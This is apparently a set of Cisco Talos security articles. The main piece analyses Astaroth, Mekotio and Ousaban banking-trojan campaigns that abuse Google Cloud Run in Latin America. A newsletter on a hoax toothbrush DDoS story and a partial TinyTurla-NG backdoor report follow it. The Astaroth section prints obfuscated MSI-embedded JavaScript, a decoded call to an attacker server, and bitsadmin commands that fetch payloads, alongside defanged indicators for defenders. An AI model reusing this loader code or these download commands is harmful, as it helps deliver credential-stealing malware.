It is worth noting that attackers are deploying cloaking mechanisms to avoid detection. One of the cloaking approaches observed is using geoplugin. Some Google Cloud Run domains were redirected to a page for checking Proxy and Crawler and a threat level is given based on the information collected. Below is an example page observed upon redirection.


Notice: Undefined index: linkType in /var/www/html/62743bd3b3b3e/geoplugin.class.php on line 103

Notice: Undefined index: isCrawler in /var/www/html/62743bd3b3b3e/geoplugin.class.php on line 106

Notice: Undefined index: isProxy in /var/www/html/62743bd3b3b3e/geoplugin.class.php on line 107

Notice: Undefined index: threatLevel in /var/www/html/62743bd3b3b3e/geoplugin.class.php on line 108

The Google Cloud Run URLs observed in January 2024 did not show the above page but redirected to some legitimate websites. For example, one of the domains redirects to https://www.google.com/?hl=US when visiting with a U.S. IP address. We had also seen redirection toward other platforms including Microsoft Outlook, Wikipedia and X. We downloaded the payload by visiting the URLs with Brazilian IPs.

During our analysis, we observed cases where the same Google Cloud Storage Bucket was being used to deliver Mekotio and Astaroth payloads at the same time. We also observed Ousaban being delivered as part of a later stage of the same Astaroth infection chain. As this means that the same Google Cloud Project was being used to distribute both malware families, and based on the overlaps in distribution TTPs, we assess with moderate confidence that the distribution campaigns are linked to the same threat actor. Given the compartmentalization currently present across the crimeware landscape, is it difficult to assess whether the distribution campaigns are being conducted by the operator(s) of the final payloads themselves or if the same distribution service is being used.

An example of the final URLs delivering the malicious MSIs is shown below.

Astaroth/Guildma

hxxps[:]//storage[.]googleapis[.]com/alele/Fat.184949849.zip?Expires=1705678087&GoogleAccessId=smart-ratio-400902%40appspot.gserviceaccount.com&Signature=a0JYCUEIUqgtwYBtulJu8NKBZU3VIXUAG2GRKcvBZbny5CA7rGeCP8Ys8FGNoishpJAgSIJuqo6QBkzNv167IVEBcUz49BZjD4cUFLhfjPaCWgqOE1iduQGyuqQkwPJIN8Y6THlvMzM8I6nlT3lpi%2BYJv56kBv6%2Boy6GariSspImcZxBJBv9unPrWSm5qRSA3icLnWvZ3PyIfEmtp4IiCQ4LItV%2Frt50p9mN4x1%2Blnq0PT5tgO%2BNkw%2FOeb0IXVZYdpTGwVSvDqGw6IHvOZP5us7u%2F%2BGEeOy%2F2kRKJMdE%2B1U%2F0UCVEp6gIbUcDQZj%2B16JwzbAGnVd4B8JJNtRrN87kg%3D%3D

Mekotio

hxxps[:]//storage[.]googleapis[.]com/alele/FAT.1705617082.zip?Expires=1705677865&GoogleAccessId=smart-ratio-400902%40appspot.gserviceaccount.com&Signature=K7npJ4T3kyH0aMrcErYkgwQ9xBdJgVCfEeTXrGd73OJ02bpTtk1e5jIiOUofmiT6bVIzsyERH9%2FhkeBaY1qtsRmafNxGE0VBAuoNrKwnrYIEYAdVjkqyoqwTN%2BEWrfCSdojylzx0iSHn1rFVqyDZJC0yETT%2BJDMa5wi%2BN3m7DGxyPVc112cXVSlwzfzW5b12I165NFUEimZ1ukLF2BzEDMLxyW5Iz%2FFUNzzt6L%2BZrsID1slWVAu%2BDaXBrhyR9zYCokUR9ig1CWLo8qBvJlMsoPqro%2F1DZpZqH36Qx%2BMTbOifj%2BAPoDCYQfqKxedXcgz4mn2VM1hxkeKRQvwFXnIsRQ%3D%3D

The diagram below shows the overlapping distribution process between Astaroth, Ousaban and Mekotio.

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

While we have previously covered Astaroth, we have observed changes in the infection process and operations of the final Astaroth payload as described below.

Astaroth

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

The initial MSI that is delivered to victims contains embedded JavaScript that has been placed into the CustomAction.idt file. It is obfuscated as shown below.

ExecuteScriptCode 37 var F636='\u0032\u0038\u0030\u002b\u0044\u0032\u0038\u0030\u002b\u0045\u0032\u0038\u0030\u002b\u0022\u002f\u002f\u0077\u0033\u0069\u0075\u0077\u006c\u002e\u006e\u0065\u0078\u0074\u006d\u0061\u0078\u002e\u006d\u0079\u002e\u0069\u0064\u002f\u003f\u0035\u002f\u0022\u0029\u003b' ; H8481='\u003a\u0068\u0022\u003b\u0045\u0032\u0038\u0030\u003d\u0022\u0054\u0074\u0022\u002b\u0022\u0050\u003a\u0022\u003b\u0047\u0065\u0074\u004f\u0062\u006a\u0065\u0063\u0074\u0028\u0043' ; J45='\u0076\u0061\u0072\u0020\u0043\u0032\u0038\u0030\u003d\u0022\u0073\u0022\u002b\u0022\u0063\u0072\u0022\u003b\u0044\u0032\u0038\u0030\u003d\u0022\u0069\u0070\u0074\u0022\u002b\u0022' ; K636=J45+H8481+F636; L8481=new Function(K636); L8481(); new ActiveXObject('WScript.Shell').run('cmd /V /C timeout 15>NUL&&exit',0,true);

When decoded, this is clearly responsible for reaching out to an attacker-controlled server to retrieve the next stage of the infection process.

var C280="s"+"cr";D280="ipt"+":h";E280="Tt"+"P:";GetObject(C280+D280+E280+"//w3iuwl[.]nextmax[.]my[.]id/?5/");

When the embedded JavaScript is executed, the malware retrieves an obfuscated JScript file from the next stage distribution server, as shown below.

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

Upon execution, the JScript first checks to determine if the next stages of the Astaroth infection have already been downloaded by checking the contents of the following filesystem locations.

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

If these locations are not present, the JScript invokes the Windows Command Processor to create a file containing the directory location that the malware will use to store various components retrieved during this stage of the infection process.

"C:\Windows\SysWOW64\cmd.exe" /V /C "echo C:\TempData28029613623>C:\Users\Public\Libraries\fe"&& exit

The JScript also contains a list of the URLs that will be used to download the next stage components. A variable set by the attacker is passed into a URL selection function to choose the URL to use for the retrieval process. An example of this is shown below.

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

At the time of analysis, all of the distribution URLs were being hosted on the same system (34[.]135[.]1[.]100). This IP address was also located within the Google Cloud environment during analysis.

The malware then uses the Bitsadmin living-off-the-land binary (LoLBin) to retrieve the next-stage components from the aforementioned distribution server. First, it retrieves the legitimate executable associated with AutoIt3.exe which will be used to execute a compiled AutoIt script later in the infection process.

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

"C:\Windows\System32\bitsadmin.exe" /transfer 18109952453 /priority foreground hxxp[:]//wae4w[.]mariomanagement[.]biz[.]id/?74709605275628771 "C:\TempData28029613623\Oculus.Toshiba.01997.5591.272.exe"

Additional components, such as the sqlite3.dll and the compiled AutoIt3 script, are also retrieved using Bitsadmin.

"C:\Windows\System32\bitsadmin.exe" /transfer 18109952453 /priority foreground hxxp[:]//wae4w[.]mariomanagement[.]biz[.]id/?54489451972678036 "C:\TempData28029613623\sqlite3.dll"

"C:\Windows\System32\bitsadmin.exe" /transfer 18109952453 /priority foreground hxxp://wae4w[.]mariomanagement[.]biz[.]id/?66559587320632971 "C:\TempData28029613623\Oculus.Toshiba.01997.5591.272.log"

We also observed Bitsadmin being used to retrieve a file containing a data blob.

"C:\Windows\System32\bitsadmin.exe" /transfer 18109952453 /priority foreground hxxp[:]//wae4w[.]mariomanagement[.]biz[.]id/?50838302893639041 "C:\TempData28029613623\Oculus.Toshiba.01997.5591.272dbl.log"

This blob contains an additional PE file that was encoded with XOR (Key: 0x2A) and is the payload associated with the Ousaban banking trojan.

The malware also writes the base file name used to store the various components into two log files stored within the malware’s working directory.

"C:\Windows\SysWOW64\cmd.exe" /V /C "echo Oculus.Toshiba.01997.5591.272>C:\TempData28029613623\r5.log"&& exit

"C:\Windows\SysWOW64\cmd.exe" /V /C "echo Oculus.Toshiba.01997.5591.272>C:\TempData28029613623\r.log"&& exit

The malware then executes the compiled AutoIt script to initiate the next stage of the infection process using the previously retrieved AutoIt3.exe binary.

"C:\TempData28029613623\Oculus.Toshiba.01997.5591.272.exe" C:\TempData28029613623\Oculus.Toshiba.01997.5591.272.log

The compiled AutoIt script is a DLL loader modified from a tutorial shared on the AutoIT community forum. The attacker obfuscated the name of some arguments like the function name in the script. The script contains an embedded hexadecimal blob that represents a DLL that functions as a loader for the final Astaroth payload. The payload itself is saved to the same folder above using the name “sdk.log” and as the Ousaban payload, it is also encoded with an XOR key (Key: 0x2A).

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

Before the AutoIT script loads the embedded Astaroth loader, it checks if a file named RQJXogtisgyqqgTDKCGZoswknstidwandXLTBsqwgwhtoutwwandyideshuAYU before loading. It could potentially be a killswitch to stop the loader.

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

The loader DLL reads the “sdk.log” file from the disk and decodes it, starts the process “regsvcs.exe” and injects the final Astaroth payload into this process in memory. Most of the functionality and malware operation in this variant was consistent with our prior reporting here. However, the following notable changes were observed during our analysis.

We observed the ability to steal a variety of cryptocurrency and bitcoin exchange credentials besides the usual banks they target. The following coins or exchanges are targeted by this variant:

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

Astaroth also implements code to monitor the foreground window for the presence of popular browsers. Once one is identified, it will check the window title to see if one of the banks in its monitoring list is open.

If a target bank is open, the malware is capable of logging keystrokes and taking screenshots of the screen around the mouse pointer when the user clicks on the screen. That is done to capture the clicks on virtual keyboards used by many Latin American banks as a security measure against keyloggers.

The malware is also configurable for the countries as well as the financial institutions it is targeting. The current variant targets more than 300 institutions across 15 Latin American countries.

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

The payload communicates with C2 using Ngrok (1[.]tcp[.]sa[.]ngrok[.]io) over TCP/26885. At the time of our analysis, this server accepted connections but did not respond in return.

Finally, the malware establishes persistence using a LNK file in the Startup menu. The LNK file named “sysupdates.setup<random_string>.lnk” will use PowerShell to execute the original AutoIT binary, passing the AutoIT compiled script as a parameter. It also creates the list of folders below and drops encrypted files to these folders during the time it is running in memory.

  • C:\Users\Public\Libraries\fa
  • C:\Users\Public\Libraries\fb
  • C:\Users\Public\Libraries\fc
  • C:\Users\Public\Libraries\fd
  • C:\Users\Public\Libraries\d
  • C:\Users\Public\Libraries\e
  • C:\Users\Public\Libraries\f
  • C:\Users\Public\Libraries\db
  • C:\Users\Public\Libraries\db\H1
  • C:\Users\Public\Libraries\auid.log
  • C:\Users\Public\Libraries\ax.mod
  • C:\Users\Public\Libraries\git2.tmp
  • C:\Users\Public\Libraries\logx1
  • C:\Users\Public\Libraries\logx2
  • C:\Users\Public\Libraries\logx3
  • C:\Users\Public\Libraries\logx4
  • C:\Users\Public\Libraries\logx5

Inside the folder “C:\Users\Public\Libraries\db”, the malware also creates files with the screen captures taken from the target bank pages, compressed with Zlib. These screen capture files are named according to the machine name and drive serial number, as the example “desktopddk19bk.1e41f1721.byte”.

This folder also contains files named sequentially starting from “B1”, “B2”, “B3” and so on, according to the screen capture files. They are also compressed with Zlib and encrypted, which we believe is done before sending the files to the C2. As we could not receive an initial response from the C2, we cannot confirm this.

Mekotio

Mekotio is another banking trojan that has historically targeted Latin American victims, exfiltrating sensitive financial information from infected systems. In the case of Mekotio, unlike Astaroth, which embeds JavaScript into the MSI, the MSIs contain malicious DLL files that are included as binary streams within the installer file itself. They also include a CAB file that contains two DLL dependencies and a text file.

$ msiinfo streams MAIL_PDF65a9a.msi

Binary.New
Binary.Up
disk1.cab
Binary.info
Binary.tabback
Binary.completi
Binary.custicon
Binary.exclamic
Binary.insticon
Binary.removico
Binary.repairic
Binary.banner.jpg
Binary.banner.svg
Binary.dialog.jpg
Binary.dialog.svg
Binary.tnqqhgm.dll
Binary.aicustact.dll
Binary.cmdlinkarrow
Binary.banner.scale150.jpg
Binary.banner.scale125.jpg
Binary.banner.scale200.jpg
Binary.dialog.scale150.jpg
Binary.dialog.scale125.jpg
Binary.dialog.scale200.jpg
Binary.SoftwareDetector.dll
SummaryInformation

When the MSI is executed, the contents of the CAB file are extracted to %PROGRAMDATA%. The CAB file contents include:

  • libeay32.dll
  • ssleay32.dll
  • l.txt (written to %PROGRAMDATA% as 8.txt)

The DLL is then executed by calling the appropriate exported function.

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

The final payload is written in Delphi and packed using VMProtect to make analysis more difficult.

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

The malware then reaches out to the ipinfo IP geolocation service to determine the location of the infected system before proceeding. The sample uses geolocation-based filtering to prevent the infection of systems not located within specific geographic regions.

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

In the sample analyzed, C2 communications were performed via TLS over TCP/8088 however at the time of analysis the C2 server was not responding to requests. In other samples analyzed over the same timeframe, we observed the TCP port used for C2 changing across samples.

Coverage

Ways our customers can detect and block this threat are listed below.

Astaroth, Mekotio & Ousaban abusing Google Cloud Run in LATAM-focused malware campaigns

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

The following Snort SIDs are applicable to this threat: 63014 - 63017, 300827.

The following ClamAV signatures have been released to detect malware artifacts related to this threat:

  • Win.Malware.Astaroth-10020745-0
  • Win.Malware.Astaroth-10020746-0
  • Win.Malware.Astaroth-10020747-0
  • Win.Malware.Ousaban-10020887-0
  • Win.Malware.Astaroth-10021009-0
  • Win.Packed.Mekotio-10020648-0

Indicators of Compromise

IOCs for this research can also be found at our Github repository here

Hashes (SHA256)

The following SHA256 have been observed associated with these malware campaigns.

4fa9e718fca1fa299beab1b5fea500a0e63385b5fe6d4eb1b1001f2abd97a828 (Mekotio MSI ZIP)
ed9f268ba7acdcbaeedd40a5c538c6a2637fd41a546363ed7587a6c2e5cdf02b (Mekotio MSI)
b8afd6640de8feed1774e8db3d428c0f1bca023324bb7de9a5eb99db2ea84e26 (Mekotio MSI)
8d912a99076f0bdc4fcd6e76c51a1d598339c1502086a4381f5ef67520a0ddf2 (Astaroth MSI ZIP)
094e722972e6e4d2858dd2447d30c7025e7446f4ca60a7dc5a711f906ab5b1a0 (Astaroth MSI)

Astaroth Components

d972675774f28e7f5ad206f420470925c4fdbca681816a19aa91a6d054b8f55a (CustomAction.idt)
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d (AutoIt3.exe, benign but abused)
1a9113491deb9f21c590de4f7e9e370594e47431be482b32f8a5234ad7545a0b (AutoIt binary dropping payload)
5c4a89c81be51e9e048cf3624d4a44fd4355cf6bf56a3c10217d3d3037410b55 (Astaroth loader embedded in AutoIT script)
05ef393f6e6d3f8e1ba15eec63a1c2121744400d322a03c9c8e26c1ed58cb6a7 (Astaroth encoded payload, sdk.log)
6d7148b180367e84763690fc57cbd526433026f50dc0c029b00a714ba1660cd3 (dump.log)
b712286d4d36c74fa32127f848b79cfb857fdc2b1c84bbbee285cf34752443a2 (Benign SQlite3 library abused by malware)

Mekotio Components

b45d8630d54c8d39e3554e0c5a71003d818617e07953520a8638f0935f04dc85 (Binary.tnqqhgm.dll)
6e1434e0f8cd402f8acb0aade942c86d6b62cd6aa3927053f25fdf57ed384b47 (Binary.sknwvly.dll)

Ousaban Components

7c7dc2065e295eb7ec60d1f8f552e455468e19e731ad20005833d71fa1371f50 (Ousaban)

URLs

The following URLs have been observed associated with these malware campaigns.

hxxps[:]//arr-wd3463btrq-uc[.]a[.]run[.]app
hxxps[:]//storage[.]googleapis[.]com/alele/FAT.1705617082.zip
hxxps[:]//portu-wd3463btrq-uc[.]a[.]run[.]app
hxxps[:]//storage[.]googleapis[.]com/alele/Fat.184949849.zip
hxxp[:]//avfa-wd3463btrq-uc[.]a[.]run[.]app
hxxp[:]//factalia-ofh2cutija-uc[.]a[.]run[.]app
hxxp[:]//gasgas-wd3463btrq-uc[.]a[.]run[.]app
hxxp[:]//haergsd-wd3463btrq-uc[.]a[.]run[.]app
hxxp[:]//jx-krrdbo6imq-uc[.]a[.]run[.]app
hxxp[:]//ptb-wd3463btrq-uc[.]a[.]run[.]app
hxxp[:]//ptm-wd3463btrq-uc[.]a[.]run[.]app
hxxp[:]//pto-wd3463btrq-uc[.]a[.]run[.]app
hxxp[:]//w3iuwl[.]nextmax[.]my[.]id/?5/
hxxp[:]//wae4w[.]mariomanagement[.]biz[.]id/?76849368130628733
hxxp[:]//wae4w[.]mariomanagement[.]biz[.]id/?39829895502632947
hxxp[:]//wae4w[.]mariomanagement[.]biz[.]id/?61694995802639066
hxxp[:]//wae4w[.]mariomanagement[.]biz[.]id/?41991463280678058
hxxp[:]//wae4w[.]mariomanagement[.]biz[.]id/?51999170290693658
hxxp[:]//wae4w[.]mariomanagement[.]biz[.]id/?75129547751613994

IPs

The following IP addresses have been observed associated with these malware campaigns.

34[.]135[.]1[.]100

Domains

The following domains have been observed associated with these malware campaigns.

arr-wd3463btrq-uc[.]a[.]run[.]app
portu-wd3463btrq-uc[.]a[.]run[.]app
xwago[.]creativeplus[.]my[.]id
wae4w[.]mariomanagement[.]biz[.]id
h4aowa[.]mariostrategy[.]my[.]id
yaiinr[.]actiongroup[.]my[.]id
e0aonr[.]creativeplus[.]my[.]id
wiae5[.]marioadvisory[.]my[.]id
caiiaf[.]businesswise[.]biz[.]id
2joafm[.]marioanalytics[.]my[.]id
nqaa8e[.]businesswise[.]biz[.]id
nweow8[.]mariostrategy[.]my[.]id
wba0s[.]produtoeletro[.]my[.]id
4hawb[.]produtoeletro[.]my[.]id
cua3e[.]mariosolutions[.]biz[.]id
eeiul[.]marioadvisory[.]my[.]id
kka5c[.]marioanalytics[.]my[.]id
w8oaa0[.]mariosolutions[.]biz[.]id
0tuiwp[.]mariomanagement[.]biz[.]id
lwafa[.]actiongroup[.]my[.]id
avfa-wd3463btrq-uc[.]a[.]run[.]app
factalia-ofh2cutija-uc[.]a[.]run[.]app
gasgas-wd3463btrq-uc[.]a[.]run[.]app
haergsd-wd3463btrq-uc[.]a[.]run[.]app
jx-krrdbo6imq-uc[.]a[.]run[.]app
ptb-wd3463btrq-uc[.]a[.]run[.]app
ptm-wd3463btrq-uc[.]a[.]run[.]app
pto-wd3463btrq-uc[.]a[.]run[.]app
1[.]tcp[.]sa[.]ngrok[.]io

Why the toothbrush DDoS story fooled us all

Why the toothbrush DDoS story fooled us all

I’ll be the first to admit that, like many people on the internet last week, I got caught up in the toothbrush distributed denial-of-service attack that wasn’t.  

I had a whole section on it written up in last week’s newsletter, and then I came across Graham Cluley’s blog post debunking the whole thing, and I had to delete it about an hour before the newsletter went live.  

There was about a 24-hour period where many news outlets reported on a reported DDoS attack that involved a botnet made up of thousands of internet-connected toothbrushes, it all started with one international newspaper report, and then was aggregated to death and spread quickly on social media.  

This attack was only a hypothetical that a security researcher posed in an interview but was reported or translated as an attack that happened. 

To me, I think we can all learn from a few major takeaways from this entire saga — myself included.  

It’s easy to see why this was a ready-made story to go viral: It involved a silly device that probably doesn’t need to be connected to the internet anyway, it involved a large number that would grab headlines and it was a DDoS attack, which have suddenly come back in vogue over the past year

But, I’ll admit, the aggregated stories seemed a little fishy to me at first, because all the reports didn’t include any specifics about which company was targeted, how long the attack lasted, or the name of the device that was reportedly compromised. 

That last part should be a red flag going forward for any of us wanting to share a meme about something the next time a cybersecurity story goes viral — in my opinion, responsible disclosure of an attack or compromise should always include information about whatever vulnerability it was that was exploited. In this hypothetical scenario, I don’t think an adversary would have been able to compromise an internet-connected toothbrush without first exploiting some sort of vulnerability, which if it’s being reported on in public, should at least include information on patches or mitigations. 

I also think we all need to be asking the fundamental question: Why? In this case, I should have asked myself why an attacker would want to go through the trouble of compromising smart toothbrushes. And what would be the end goal of targeting a private company with a DDoS attack? Likely, it would be to demand a ransom in exchange for the attacker stopping the attack, but without knowing what sector the targeted company was in, it’s tough to guess how profitable that might even be. (For example, a health care agency may be looking to do anything to get back to operating asap, as lives could literally be at stake.) 

And once the attacker compromised a toothbrush, what information can they glean from the user besides their dental hygiene habits? Usually, they’d be looking to steal some sort of personal information, login credentials or financial data that they could then turn around and sell on the dark web. 

Needless to say, there were multiple red flags we all ignored when this story started to spread. And I’m not here to blame anyone in this case; it was all honest mistakes that, all things considered, ended up not being that serious. But the toothbrush botnet that wasn’t does serve as a reminder to all of us to be a bit more mindful before clicking share or posting a story on social media.  

The one big thing 

Cisco Talos has identified a new backdoor authored and operated by the Turla APT group, a Russian cyber espionage threat group. This new backdoor we’re calling “TinyTurla-NG” (TTNG) is similar to Turla’s previously disclosed implant, TinyTurla, in coding style and functionality implementation. Talos assesses with high confidence that TinyTurla-NG, just like TinyTurla, is a small “last chance” backdoor that is left behind to be used when all other unauthorized access/backdoor mechanisms have failed or been detected on the infected systems. 

Why do I care? 

Turla has been widely known to target entities across the world using a huge set of offensive tools in geographies including the U.S., European Union, Ukraine and Asia. They’ve previously used malware families such as CAPIBAR and KAZUAR to target Ukrainian defense forces. After Crutch and TinyTurla, Turla has now expanded their arsenal to include the TinyTurla-NG and TurlaPower-NG malware families, while also widening its net of targets to NGOs. 

So now what? 

Talos has released new ClamAV signatures and Snort rules to protect against TinyTurla and the actors’ actions. We don’t know what the initial access vector is, so it’s tough to give targeted advice on how to avoid this malware, but having any endpoint detection in place will block this “last chance” backdoor.  

Top security headlines of the week 

Chinese state-sponsored actor Volt Typhoon may have silently sat on U.S. critical infrastructure networks for more than five years, according to a new report from American intelligence agencies. According to the advisory, the infamous hacking group has been exploiting vulnerabilities in routers, firewalls and VPNs to target water, transportation, energy and communications systems across the country. Volt Typhoon has been able to control some victims’ surveillance camera systems, and the access could have allowed them to disrupt critical energy and water controls. The actor is known for using living-off-the-land binaries (LoLBins) to remain undetected once they gain an initial foothold. Authorities in Canada, Australia and New Zealand also contributed to last week’s advisory, citing their concern for similar activity in their countries. The FBI’s director recently said in testimony to U.S. Congress that authorities had dismantled a bot network of hundreds of compromised devices that was connected to VoltTyphoon. (Axios, The Guardian

A new spyware network called TheTruthSpy may have compromised hundreds of Android devices using silent tracking apps that users download thinking they’re legitimate. Security researchers uncovered the information of thousands of devices that have already been compromised, including their IMEI numbers and advertising IDs. TheTruthSpy appears to actively spy on large clusters of victims across Europe, India, Indonesia, the U.S. and U.K. The operators behind TheTruthSpy also did not address a security vulnerability in the software, identified as CVE-2022-0732, which left the victim data they stole potentially vulnerable to other bad actors. These types of stalkerware tools are often used by family members, spouses or peers of victims who want to track their physical locations and spy on messages and phone calls. The spyware is downloaded via an app, which doesn’t appear on the victim’s home screen and operates quietly in the background. (TechCrunch, maia blog

Apple removed a fake LastPass app called “LassPass” after the popular password management service reported it. The phony LassPass used a similar logo to that of the legitimate LastPass and was up on the App Store for an unknown amount of time. Apple also said it was removing the creator of the app from its Developer Program. This is a very rare case for the Apple App Store, as it has a strict review policy. LastPass released a warning to all users last week of the fake app’s existence, including a link to the legitimate LastPass app. LassPass only had one review on the store, and multiple reviews warning it was fake. However, it’s safe to assume that the app was likely set up as some sort of phishing scam meant to get users to enter their legitimate LastPass login information to be stolen by the fake app’s creator. (Ars Technica, Bleeping Computer

Can’t get enough Talos? 

Upcoming events where you can find Talos 

S4x24 (March 4 - 27) 

Miami Beach, Florida 

To protect themselves during Russian aggression, the Ukrainian military utilizes electronic warfare to blanket critical infrastructure to defeat radar and GPS-guided smart munitions. This has the unintended consequence of disrupting GPS synchrophasor clock measurements and creating service outages on an already beleaguered and damaged transmission electric grid. Joe Marshall from Talos’ Strategic Communications team will tell an incredible story of how a group of engineers and security professionals from a diverse coalition of organizations came together to solve this electronic warfare GPS problem in an unconventional technical way, and helped stabilize parts of the transmission grid of Ukraine. 

RSA (May 6 - 9) 

San Francisco, California 

Most prevalent malware files from Talos telemetry over the past week 

SHA 256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
MD5: 7bdbd180c081fa63ca94f9c22c457376 
Typical Filename: c0dwjdi6a.dll 
Claimed Product: N/A  
Detection Name: Trojan.GenericKD.33515991 

SHA 256: 5616b94f1a40b49096e2f8f78d646891b45c649473a5b67b8beddac46ad398e1    
MD5: 3e10a74a7613d1cae4b9749d7ec93515    
Typical Filename: IMG001.exe    
Claimed Product: N/A    
Detection Name: Win.Dropper.Coinminer::1201 

SHA 256: 59f1e69b68de4839c65b6e6d39ac7a272e2611ec1ed1bf73a4f455e2ca20eeaa   
MD5: df11b3105df8d7c70e7b501e210e3cc3   
Typical Filename: DOC001.exe   
Claimed Product: N/A   
Detection Name: Win.Worm.Coinminer::1201 

SHA 256: 5e537dee6d7478cba56ebbcc7a695cae2609010a897d766ff578a4260c2ac9cf 
MD5: 2cfc15cb15acc1ff2b2da65c790d7551 
Typical Filename: rcx4d83.tmp 
Claimed Product: N/A   
Detection Name: Win.Dropper.Pykspa::tpd 

SHA 256: 77c2372364b6dd56bc787fda46e6f4240aaa0353ead1e3071224d454038a545e 
MD5: 040cd888e971f2872d6d5dafd52e6194 
Typical Filename: tmp000c3787 
Claimed Product: Ultra Virus Killer 
Detection Name: PUA.Win.Virus.Ultra::95.sbx.tg 

TinyTurla Next Generation - Turla APT spies on Polish NGOs

  • Cisco Talos has identified a new backdoor authored and operated by the Turla APT group, a Russian cyber espionage threat group. This new backdoor we’re calling “TinyTurla-NG” (TTNG) is similar to Turla’s previously disclosed implant, TinyTurla, in coding style and functionality implementation.
  • Talos assesses with high confidence that TinyTurla-NG, just like TinyTurla, is a small “last chance” backdoor that is left behind to be used when all other unauthorized access/backdoor mechanisms have failed or been detected on the infected systems.
  • TinyTurla-NG was seen as early as December 2023 targeting a Polish non-governmental organization (NGO) working on improving Polish democracy and supporting Ukraine during the Russian invasion. 
  • We’ve also discovered previously unknown PowerShell scripts we’re calling “TurlaPower-NG '' that are meant to act as file exfiltrators. TinyTurla-NG deployed these scripts to exfiltrate key material used to secure the password databases of popular password management software, indicating a concerted effort for Turla to steal login credentials.
TinyTurla Next Generation - Turla APT spies on Polish NGOs

Talos, in cooperation with CERT.NGO, investigated another compromise by the Turla threat actor, with a new backdoor quite similar to TinyTurla, that we are calling TinyTurla-NG (TTNG). Our findings indicate that Polish non-governmental organizations (NGOs) are actively being targeted, with at least one of them supporting Ukraine. While NGOs aren’t directly involved in conflicts they frequently participate in providing aid to entities suffering through the conflicts. Aggressor parties may deem it strategically beneficial to monitor such NGOs to keep track of ongoing and potentially new aid packages for their victims.

Turla has been widely known to target entities across the world using a huge set of offensive tools in geographies including the U.S., European Union, Ukraine and Asia. They’ve previously used malware families such as CAPIBAR and KAZUAR to target Ukrainian defense forces. After Crutch and TinyTurla, Turla has now expanded its arsenal to include the TinyTurla-NG and TurlaPower-NG malware families, while also widening its net of targets to NGOs. This activity signals the adversary’s intention to expand both their suite of malware as well as a set of targets to support Russia’s strategic and political goals.

Talos identified the existence of three different TinyTurla-NG samples, but only obtained access to two of them. This campaign’s earliest compromise date was Dec. 18, 2023, and was still active as recently as Jan. 27, 2024. However, we assess that the campaign may have started as early as November 2023 based on malware compilation dates. 

In this campaign, Turla uses compromised WordPress-based websites as command and control endpoints (C2) for the TTNG backdoor. The operators used different websites running vulnerable WordPress versions (versions including 4.4.20, 5.0.21, 5.1.18 and 5.7.2), which allowed the upload of PHP files containing the C2 code consisting of names such as: rss-old[.]php, rss[.]old[.]php or block[.]old[.]php

TinyTurla-NG uses PowerShell and a command line to run arbitrary commands

During the campaign’s three-month run, different C2 servers were also used to host PowerShell scripts and arbitrary commands that could then be executed on the victim machine.

Like TinyTurla, the malware is a service DLL, which is started via svchost.exe. The malware code itself is different and new. Different malware features are distributed via different threads. The malware is using Windows events for synchronization. In the DLL’s ServiceMain function, the first main malware thread is started.

TinyTurla Next Generation - Turla APT spies on Polish NGOs
TinyTurla-NG DLL starting the main infection thread.

The InitCfgSetupCreateEvent function initializes the config variables and the event which is used for synchronization later on. 

TinyTurla Next Generation - Turla APT spies on Polish NGOs
De-facto main function of the DLL calling code to initiate threads.

This thread then starts two more threads via the CheckOSVersion_StartWorkerThreads function.

TinyTurla Next Generation - Turla APT spies on Polish NGOs
CheckOSVersion_Start_WorkerThreads function.

After checking the PowerShell and Windows versions, the first thread starts to beacon to the C2 by sending a campaign identifier (“id”) and the message “Client Ready” to register the successful infection with the C2. This is done in the C2_client_ready function in the screenshot below.

TinyTurla Next Generation - Turla APT spies on Polish NGOs
Thread No. 1: C2 beaconing thread.

If the registration is successful, the TTNG backdoor will ask the C2 for a task to execute (gettask_loop function). The second thread, which was started by the CheckOSVersion_Start_WorkerThreads function, is responsible for executing the task command sent from the C2. It waits until the TTNG backdoor has received the response from the C2. The synchronization between the two threads is performed via the Windows event mentioned earlier. The first thread triggers the event (in the thread1_function) once it has successfully received the task from the C2.

TinyTurla Next Generation - Turla APT spies on Polish NGOs
Thread No. 1 signals Thread No. 2 to handle the task/command received from the C2.

The tasks can be executed either using a PowerShell or command (cmd.exe) shell. The decision is made based on the PowerShell version running on the victim machine.

TinyTurla Next Generation - Turla APT spies on Polish NGOs
Thread No. 2: Windows command execution function.

